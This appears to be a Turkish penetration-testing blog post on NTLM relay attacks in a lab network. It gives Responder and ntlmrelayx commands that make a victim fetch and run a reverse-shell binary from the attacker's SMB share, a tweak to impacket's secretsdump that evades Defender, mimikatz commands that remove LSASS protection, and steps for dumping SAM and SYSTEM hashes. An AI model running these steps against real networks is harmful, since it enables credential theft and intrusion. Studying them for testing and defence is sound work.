Siber Güvenlik

NTLMRelay’e Farklı Bir Bakış

NTLMRelay saldırısı yapılabilecek ağlarda genellikle doğrudan SAM (Security Accounts Manager) veri tabanına erişerek lokal admin hash'leri ele geçirilmeye çalışılır. Ancak, SAM veri tabanının ele geçirilmesini engellemek için bazı önlemler alınabilir.

Berkay Vural |

12.12.2023

NTLMRelay Saldırısı Nedir?

 

Öncelikle NTLMRelay saldırısının ne olduğuyla başlayalım. NTLMRelay saldırısı, ağ üzerinde bulunan NTLM kimlik doğrulama protokolünü kullanarak gerçekleştirilen bir saldırı türüdür. Aslında tek başına NTLM, Windows işletim sistemlerini kullanan eski bir kimlik doğrulama protokolüdür. Saldırganlar bu protokolü kötüye kullanarak insanların kimlik doğrulama bilgilerini ele geçirebilir. Bu yüzden modern sistemlerde NTLM yerine daha güçlü bir protokol kullanılması önerilir.

 

Bu yazıda yerel ağ testlerinde sıkça kullanılan NTLMRelay [1] saldırılarının hedef sistemler için SAM veri tabanının dump edilemediği (AV/EDR engellenmeleri vb.) zamanlarda ilerlememize olanak sağlayacak farklı bir yoldan bahsedeceğim.

 

Kurulum

 

  • Parrot (192.168.198.34)
  • Yetkili Windows kullanıcısı (192.168.198.28)
  • Windows Relay hedef sunucusu (192.168.198.20)
  • Nim

 

Saldırı Adımları

 

Öncelikle tersine bağlantıyı antivirüse yakalanmadan elde edebilmek amacıyla nim programlama dilinde yazdığım script’imi kullanacağım. Aynı saldırı için tercihen antivirüs programlarının yakalayamadığı Powershell script’leri kullanılabilmektedir.

 

Powershell scriptleri

 

Script’in öncelikle Windows sistemlere uygun olarak derlenmesi gerekmektedir.

 

`--app=console` komutu dosyanın çalıştırılması
sırasında command promptun görünmemesi için
kullanılmaktadır.
## Antivirüs programları bu davranışı zararlı olarak
görebilmektedir. Bu nedenle `--app=gui` şeklinde de
denenebilir. Ancak bu durumda bağlantının sağlandığı
sunucuya erişecek kullanıcılar tarafından yakalanma
oranı artacaktır.
$> nim c -d:mingw --app=console --opt:size  --cpu=amd64
rev.nim

 

nim  script

 

Saldırının diğer aşamalarına geçmeden önce bağlantıyı yakalayabilmek için metasploit içerisinden multi/handler modülünün çalıştırılması gerekmektedir. Bu aşamada ufak bir not düşmekte fayda var. Relay saldırısında hedeflenen sunucu sayısı birden fazlaysa aynı port üzerinden çoklu bağlantıları yakalayabilmek için set ExitOnSession false ve run -jz komutları ile handler modülünün çalıştırılması gerekmektedir. Bu şekilde farklı hedef sunuculardan gelecek olan bağlantılar da yakalanabilecektir.

 

multi/handler modülü

 

"Windows 10" ve "Server 2016" gibi işletim sistemlerinde, varsayılan olarak anonim dosya paylaşımlarında bağlantılar engellendiği için saldırı cihazında parola korumalı bir SMB paylaşımı açılması gerekmektedir. Derlenen nim script’i dosya paylaşım klasörüne taşındıktan sonra bir sonraki saldırı aşaması olan ntlmrelayx ve responder’a geçebiliriz. Bu konuda kullandığımız komutlar;

 

# Responder herhangi bir flag kullanmadan da
çalıştırılabilir. Ancak işlerimizi biraz daha hızlı
ilerletebilmek adına WPAD proxy (-w) ayarını aktif edip
diğer ağ cihazlarının HTTP üzerinden de saldırı
cihazına bağlanmasını zorunlu (-F) tutuyoruz.
$> python3 Responder.py -I wlp2s0 -wFv
# --no-smb-server = Saldırı cihazında hali hazirda SMB
server aktif oldugu icin ntlmrelayx ile dosya
paylaşımının açılmamasının belirtilmesi gerekmektedir.
$> ntlmrelayx.py -smb2support --no-smb-server -t
<HEDEF-IP> -c 'cmd /c "net use \\<Parrot-SMB-
Server>\share /user:<SMB-Kullanicisi> <SMB-Parolasi> &
\\<Parrot-SMB-Server>\share\rev.exe <Parrot-IP-Adresi>
<Parrot-Portu>"'

 

Responder’ın HTTP ve SMB server’larını kapatarak Relay saldırısını gerçekleştirebiliriz. Bu değişikliği ise Responder.conf dosyası içerisinden yapabiliriz.

 

[Responder Core]
; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
#Değiştirildi
#Değiştirildi

 

Responder ve ntlmrelayx çalıştırıldığında ise yetkilendirilen kullanıcının lokal admin grubunda olmasına rağmen tersine bağlantıyı elde edemediğimiz görülmektedir.

 

Responder ve ntlmrelayx

 

lokal admin grubu

 

Alınan hatayı daha detaylı incelemek için Windows cihazına baktığımızda, çalıştırdıgımız komutun Defender tarafından engellendiği görüyoruz.

 

defender uyarı mesajı

 

Defender tarafından üretilen uyarı mesajında gördüğümüz C:\Windows\TEMP\execute.bat dosyası dikkat çekmektedir. NTLMRelay ile verilen -c parametresinde ya da tersine bağlantı için oluşturulmuş dosyada bu dosyaya ait bir şey bulunmamaktadır. Ancak ntlmrelayx script’i detaylı incelendiğinde uzaktan çalıştırılan işlemler için smbexec ve tespit edilen dosya isimleri görülmektedir.

 

Defender’ın bu dosyanın içeriğine bakmadığını düşünerek impacket/impacket/examples/secretsdump.py içerisinde dosyaların yazılacağı konumlarda değişiklik yapıp saldırıyı tekrar başlatıyoruz.

 

script

 

/usr/lib/python3/dist-


packages/impacket/examples/secretsdump.py



lsass SAM SYSTEM 
mimikatz # !+
mimikatz # **!**processprotect /process:lsass.exe
/remove

 

Kali default impacket toolkit kullanılması durumunda belirtilen dosya içerisinde olacaktır.

 

Görülebileceği üzere bağlantıyı elde etmiş bulunmaktayız. Bu aşamadan sonra (belirtmiş olduğum iki yol ile sınırlı olmamakla birlikte) dump edilerek veya dosyalar saldırgan cihazına kopyalanarak ilerlenebilecektir. Mimikatz senaryosunu baz aldığımızda karşımıza çıkacak ilk engel antivirüs korumasının atlatılması olacaktır. Binary veya Powershell dosyaları içerisinde uygulanacak obfuscation (gizleme) işlemleri ile defender korumaları atlatılabilmektedir. Ancak bu durumda da sistem içerisinde aktif olacak LSA Protection korumasıyla karşı karşıya kalma ihtimalimiz yüksek. Bu koruma yöntemi (RunAsPPL [2]) mimikatz üzerinden kapatılabilir. Bu işlem sırasında sistem üzerinde yakalanmamıza sebep olacak loglar üretilecektir.

 

programdata script

 

sistem dosyaları

 

Biz yazının konusundan dolayı SAM ve SYSTEM dosyaları ile ilerlemeyi tercih ediyoruz. SAM ve SYSTEM dosyalarını elde etmek için save HKLM\SAM \\<Parrot-SMB-Server>\share\sam yapılabıleceği gibi, Windows'un sunduğu Shadow Copy [3] özelliği de kullanılabilir. Volume Shadow Copy, bir işlem ya da dosyanın çalışırken yedeğinin alınmasını sağlayan bir Windows özelliğidir. İşlemi gerçekleştirebilmek için esentutl dosyasını kullanıyoruz. Aynı işlem SYSTEM dosyası için de yapıldıktan sonra lokal olarak dosyaların içeriğine bakabilir duruma geleceğiz.

 

reg

 

shadow copy alma

 

secretsdump.py kullanarak parola özetlerini elde ediyoruz. Ardından SAM ve SYSTEM dosyalarını LOCAL olarak incelemeye alarak kullanıcı parolalarına erişiyoruz.

 

sam ve system locale alınması

 

Referanslar

 

[ 1 ]NTLMRelay — https://cyberdocs.gitbook.io/cyberdocs/ag- guvenligi/icindekiler/ntlm-relay

[ 2 ] RunAsPPL — https://itm4n.github.io/lsass-runasppl/

[ 3 ] Shadow Copy — https://en.wikipedia.org/wiki/Shadow_Copy Impacket — https://github.com/SecureAuthCorp/impacket